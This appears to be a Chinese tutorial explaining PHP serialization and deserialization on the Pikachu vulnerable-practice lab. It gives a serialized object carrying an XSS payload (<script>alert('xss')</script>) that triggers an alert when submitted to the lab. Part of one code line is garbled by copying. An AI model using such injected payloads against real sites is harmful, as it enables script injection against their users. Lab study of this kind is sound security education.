pikachu之反序列化

1概述

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test=“pikachu”;
}
s = n e w S ( ) ; / / 创 建 一 个 对 象 s e r i a l i z e ( s=new S(); //创建一个对象 serialize( s=newS();//serialize(s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

2pikachu演示

漏洞举例:

<?php
 
class S{
		var $test = "<script>alert('xss')</script>";
}
 
echo '<br>';
$a = new S();
echo serialize($a);
 
?>

通过菜鸟工具,先把js命令序列化,然后再传入pikachu
在这里插入图片描述
序列化结果:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

输入序列化结果,成功弹窗
在这里插入图片描述

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